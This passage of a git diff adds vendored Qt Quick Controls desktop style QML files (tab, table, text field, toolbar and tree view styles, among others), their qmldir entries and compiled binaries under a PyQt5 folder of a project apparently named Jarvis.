Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 +import QtQuick.Controls.Styles 1.1 + +SwitchStyle { +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/SwitchStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/SwitchStyle.qmlc new file mode 100644 index 00000000..6cb34cfc Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/SwitchStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TabViewStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TabViewStyle.qml new file mode 100644 index 00000000..c571e220 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TabViewStyle.qml @@ -0,0 +1,116 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 +import QtQuick.Controls.Styles 1.1 +Style { + id: root + + property bool tabsMovable: false + property int tabsAlignment: __barstyle.styleHint("tabbaralignment") === "center" ? Qt.AlignHCenter : Qt.AlignLeft; + property int tabOverlap: __barstyle.pixelMetric("taboverlap"); + property int frameOverlap: __barstyle.pixelMetric("tabbaseoverlap"); + + property StyleItem __barstyle: StyleItem { + elementType: "tab" + properties: { "tabposition" : (control.tabPosition === Qt.TopEdge ? "Top" : "Bottom") } + visible: false + } + + property Component frame: StyleItem { + id: styleitem + anchors.fill: parent + anchors.topMargin: 1//stack.baseOverlap + z: style == "oxygen" ? 1 : 0 + elementType: "tabframe" + value: tabbarItem && tabsVisible && tabbarItem.tab(currentIndex) ? tabbarItem.tab(currentIndex).x : 0 + minimum: tabbarItem && tabsVisible && tabbarItem.tab(currentIndex) ? tabbarItem.tab(currentIndex).width : 0 + maximum: tabbarItem && tabsVisible ? tabbarItem.width : width + properties: { "selectedTabRect" : tabbarItem.__selectedTabRect, "orientation" : control.tabPosition } + hints: control.styleHints + Component.onCompleted: { + stack.frameWidth = styleitem.pixelMetric("defaultframewidth"); + stack.style = style; + } + border{ + top: 16 + bottom: 16 + } + textureHeight: 64 + } + + property Component tab: Item { + id: item + property string tabpos: control.count === 1 ? "only" : index === 0 ? "beginning" : index === control.count - 1 ? "end" : "middle" + property string selectedpos: styleData.nextSelected ? "next" : styleData.previousSelected ? "previous" : "" + property string orientation: control.tabPosition === Qt.TopEdge ? "Top" : "Bottom" + property int tabHSpace: __barstyle.pixelMetric("tabhspace"); + property int tabVSpace: __barstyle.pixelMetric("tabvspace"); + property int totalOverlap: tabOverlap * (control.count - 1) + property real maxTabWidth: control.count > 0 ? (control.width + totalOverlap) / control.count : 0 + implicitWidth: Math.min(maxTabWidth, Math.max(50, styleitem.textWidth(styleData.title)) + tabHSpace + 2) + implicitHeight: Math.max(styleitem.font.pixelSize + tabVSpace + 6, 0) + + StyleItem { + id: styleitem + + elementType: "tab" + paintMargins: style === "mac" ? 0 : 2 + + anchors.fill: parent + anchors.topMargin: style === "mac" ? 2 : 0 + anchors.rightMargin: -paintMargins + anchors.bottomMargin: -1 + anchors.leftMargin: -paintMargins + (style === "mac" && selected ? -1 : 0) + properties: { "hasFrame" : true, "orientation": orientation, "tabpos": tabpos, "selectedpos": selectedpos } + hints: control.styleHints + + enabled: styleData.enabled + selected: styleData.selected + text: elidedText(styleData.title, tabbarItem.elide, item.width - item.tabHSpace) + hover: styleData.hovered + hasFocus: tabbarItem.activeFocus && selected + } + } + + property Component leftCorner: null + property Component rightCorner: null +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TabViewStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TabViewStyle.qmlc new file mode 100644 index 00000000..fd82b889 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TabViewStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TableViewStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TableViewStyle.qml new file mode 100644 index 00000000..6c008b30 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TableViewStyle.qml @@ -0,0 +1,116 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 +import "." + +ScrollViewStyle { + id: root + + readonly property BasicTableView control: __control + property int __indentation: 8 + property bool activateItemOnSingleClick: __styleitem.styleHint("activateItemOnSingleClick") + property color textColor: __styleitem.textColor + property color backgroundColor: SystemPaletteSingleton.base(control.enabled) + property color highlightedTextColor: __styleitem.highlightedTextColor + + property StyleItem __styleitem: StyleItem{ + property color textColor: styleHint("textColor") + property color highlightedTextColor: styleHint("highlightedTextColor") + elementType: "item" + visible: false + active: control.activeFocus + onActiveChanged: { + highlightedTextColor = styleHint("highlightedTextColor") + textColor = styleHint("textColor") + } + } + + property Component headerDelegate: StyleItem { + elementType: "header" + activeControl: itemSort + raised: true + sunken: styleData.pressed + text: styleData.value + hover: styleData.containsMouse + hints: control.styleHints + properties: {"headerpos": headerPosition, "textalignment": styleData.textAlignment} + property string itemSort: (control.sortIndicatorVisible && styleData.column === control.sortIndicatorColumn) ? (control.sortIndicatorOrder == Qt.AscendingOrder ? "up" : "down") : ""; + property string headerPosition: !styleData.resizable && control.columnCount === 1 ? "only" : + !styleData.resizable && styleData.column === control.columnCount-1 ? "end" : + styleData.column === 0 ? "beginning" : "" + } + + property Component rowDelegate: BorderImage { + visible: styleData.selected || styleData.alternate + source: "image://__tablerow/" + (styleData.alternate ? "alternate_" : "") + + (styleData.selected ? "selected_" : "") + + (control.activeFocus ? "active" : "") + height: Math.max(16, RowItemSingleton.implicitHeight) + border.left: 4 ; border.right: 4 + } + + property Component itemDelegate: Item { + height: Math.max(16, label.implicitHeight) + property int implicitWidth: label.implicitWidth + 16 + + Text { + id: label + objectName: "label" + width: parent.width + font: __styleitem.font + anchors.left: parent.left + anchors.right: parent.right + anchors.leftMargin: styleData.hasOwnProperty("depth") && styleData.column === 0 ? 0 : + horizontalAlignment === Text.AlignRight ? 1 : 8 + anchors.rightMargin: (styleData.hasOwnProperty("depth") && styleData.column === 0) + || horizontalAlignment !== Text.AlignRight ? 1 : 8 + horizontalAlignment: styleData.textAlignment + anchors.verticalCenter: parent.verticalCenter + elide: styleData.elideMode + text: styleData.value !== undefined ? styleData.value : "" + color: styleData.textColor + renderType: Text.NativeRendering + } + } + + property Component __branchDelegate: null +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TableViewStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TableViewStyle.qmlc new file mode 100644 index 00000000..ef696ee9 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TableViewStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TextAreaStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TextAreaStyle.qml new file mode 100644 index 00000000..8a39f8ab --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TextAreaStyle.qml @@ -0,0 +1,59 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +ScrollViewStyle { + property font font: __styleitem.font + property color textColor: SystemPaletteSingleton.text(control.enabled) + property color selectionColor: SystemPaletteSingleton.highlight(control.enabled) + property color selectedTextColor: SystemPaletteSingleton.highlightedText(control.enabled) + property color backgroundColor: control.backgroundVisible ? SystemPaletteSingleton.base(control.enabled) : "transparent" + + property StyleItem __styleitem: StyleItem{ + elementType: "edit" + visible: false + active: control.activeFocus + } + + property int renderType: Text.NativeRendering + property real textMargin: 4 +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TextAreaStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TextAreaStyle.qmlc new file mode 100644 index 00000000..9d9ae51e Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TextAreaStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TextFieldStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TextFieldStyle.qml new file mode 100644 index 00000000..fd58d344 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TextFieldStyle.qml @@ -0,0 +1,81 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +Style { + property int renderType: Text.NativeRendering + + property Component panel: StyleItem { + id: textfieldstyle + elementType: "edit" + anchors.fill: parent + + sunken: true + hasFocus: control.activeFocus + hover: hovered + hints: control.styleHints + + property color textColor: SystemPaletteSingleton.text(control.enabled) + property color placeholderTextColor: "darkGray" + property color selectionColor: SystemPaletteSingleton.highlight(control.enabled) + property color selectedTextColor: SystemPaletteSingleton.highlightedText(control.enabled) + + + property bool rounded: !!hints["rounded"] + property int topMargin: style === "mac" ? 3 : 2 + property int leftMargin: rounded ? 12 : 4 + property int rightMargin: leftMargin + property int bottomMargin: 2 + + contentWidth: 100 + // Form QLineEdit::sizeHint + contentHeight: Math.max(control.__contentHeight, 16) + + FocusFrame { + anchors.fill: parent + visible: textfield.activeFocus && textfieldstyle.styleHint("focuswidget") && !rounded + } + textureHeight: implicitHeight + textureWidth: 32 + border {top: 8 ; bottom: 8 ; left: 8 ; right: 8} + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TextFieldStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TextFieldStyle.qmlc new file mode 100644 index 00000000..798a64c7 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TextFieldStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ToolBarStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ToolBarStyle.qml new file mode 100644 index 00000000..fe1840ab --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ToolBarStyle.qml @@ -0,0 +1,65 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype StatusBarStyle + \internal + \inqmlmodule QtQuick.Controls.Styles +*/ +Style { + + padding.left: 6 + padding.right: 6 + padding.top: 1 + padding.bottom: style.style === "mac" ? 1 : style.style === "fusion" ? 3 : 2 + + StyleItem { id: style ; visible: false} + + property Component panel: StyleItem { + id: toolbar + anchors.fill: parent + elementType: "toolbar" + textureWidth: 64 + border {left: 16 ; right: 16} + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ToolBarStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ToolBarStyle.qmlc new file mode 100644 index 00000000..904f9fe6 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ToolBarStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ToolButtonStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ToolButtonStyle.qml new file mode 100644 index 00000000..a4e15465 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ToolButtonStyle.qml @@ -0,0 +1,64 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +Style { + property Component panel: StyleItem { + id: styleitem + + anchors.fill: parent + elementType: "toolbutton" + on: control.checkable && control.checked + sunken: control.pressed + raised: !(control.checkable && control.checked) && control.hovered + hover: control.hovered + hasFocus: control.activeFocus + hints: control.styleHints + text: control.text + + properties: { + "icon": control.__iconAction.__icon, + "position": control.__position, + "menu" : control.menu !== null + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ToolButtonStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ToolButtonStyle.qmlc new file mode 100644 index 00000000..81644110 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ToolButtonStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TreeViewStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TreeViewStyle.qml new file mode 100644 index 00000000..3ec6073a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TreeViewStyle.qml @@ -0,0 +1,70 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.4 +import QtQuick.Controls.Private 1.0 +import "." as Desktop + +Desktop.TableViewStyle { + id: root + + __indentation: 12 + + __branchDelegate: StyleItem { + id: si + elementType: "itembranchindicator" + properties: { + "hasChildren": styleData.hasChildren, + "hasSibling": styleData.hasSibling && !styleData.isExpanded + } + on: styleData.isExpanded + selected: styleData.selected + hasFocus: __styleitem.active + + Component.onCompleted: { + root.__indentation = si.pixelMetric("treeviewindentation") + implicitWidth = root.__indentation + implicitHeight = implicitWidth + var rect = si.subControlRect("dummy"); + width = rect.width + height = rect.height + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TreeViewStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TreeViewStyle.qmlc new file mode 100644 index 00000000..ca18c852 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TreeViewStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/qmldir new file mode 100644 index 00000000..1b691871 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/qmldir @@ -0,0 +1,2 @@ +singleton RowItemSingleton 1.0 RowItemSingleton.qml +designersupported diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Flat/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Flat/plugins.qmltypes new file mode 100644 index 00000000..e69de29b diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Flat/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Flat/qmldir new file mode 100644 index 00000000..2fe49220 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Flat/qmldir @@ -0,0 +1,4 @@ +module QtQuick.Controls.Styles.Flat +plugin qtquickextrasflatplugin +classname QtQuickExtrasStylesPlugin +depends QtQml 2.14 diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Flat/qtquickextrasflatplugin.dll b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Flat/qtquickextrasflatplugin.dll new file mode 100644 index 00000000..347bc6fd Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Flat/qtquickextrasflatplugin.dll differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/qmldir b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/qmldir new file mode 100644 index 00000000..4b2f9844 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/qmldir @@ -0,0 +1,38 @@ +module QtQuick.Controls.Styles +ApplicationWindowStyle 1.3 Base/ApplicationWindowStyle.qml +ButtonStyle 1.0 Base/ButtonStyle.qml +BusyIndicatorStyle 1.1 Base/BusyIndicatorStyle.qml +CalendarStyle 1.1 Base/CalendarStyle.qml +CheckBoxStyle 1.0 Base/CheckBoxStyle.qml +ComboBoxStyle 1.0 Base/ComboBoxStyle.qml +MenuStyle 1.2 Base/MenuStyle.qml +MenuBarStyle 1.2 Base/MenuBarStyle.qml +ProgressBarStyle 1.0 Base/ProgressBarStyle.qml +RadioButtonStyle 1.0 Base/RadioButtonStyle.qml +ScrollViewStyle 1.0 Base/ScrollViewStyle.qml +SliderStyle 1.0 Base/SliderStyle.qml +SpinBoxStyle 1.1 Base/SpinBoxStyle.qml +SwitchStyle 1.1 Base/SwitchStyle.qml +TabViewStyle 1.0 Base/TabViewStyle.qml +TableViewStyle 1.0 Base/TableViewStyle.qml +TreeViewStyle 1.4 Base/TreeViewStyle.qml +TextAreaStyle 1.1 Base/TextAreaStyle.qml +TextFieldStyle 1.0 Base/TextFieldStyle.qml +ToolBarStyle 1.0 Base/ToolBarStyle.qml +StatusBarStyle 1.0 Base/StatusBarStyle.qml + +CircularGaugeStyle 1.0 Base/CircularGaugeStyle.qml +CircularButtonStyle 1.0 Base/CircularButtonStyle.qml +CircularTickmarkLabelStyle 1.0 Base/CircularTickmarkLabelStyle.qml +CommonStyleHelper 1.0 Base/CommonStyleHelper.qml +DelayButtonStyle 1.0 Base/DelayButtonStyle.qml +DialStyle 1.1 Base/DialStyle.qml +GaugeStyle 1.0 Base/GaugeStyle.qml +HandleStyle 1.0 Base/HandleStyle.qml +HandleStyleHelper 1.0 Base/HandleStyleHelper.qml +PieMenuStyle 1.3 Base/PieMenuStyle.qml +StatusIndicatorStyle 1.1 Base/StatusIndicatorStyle.qml 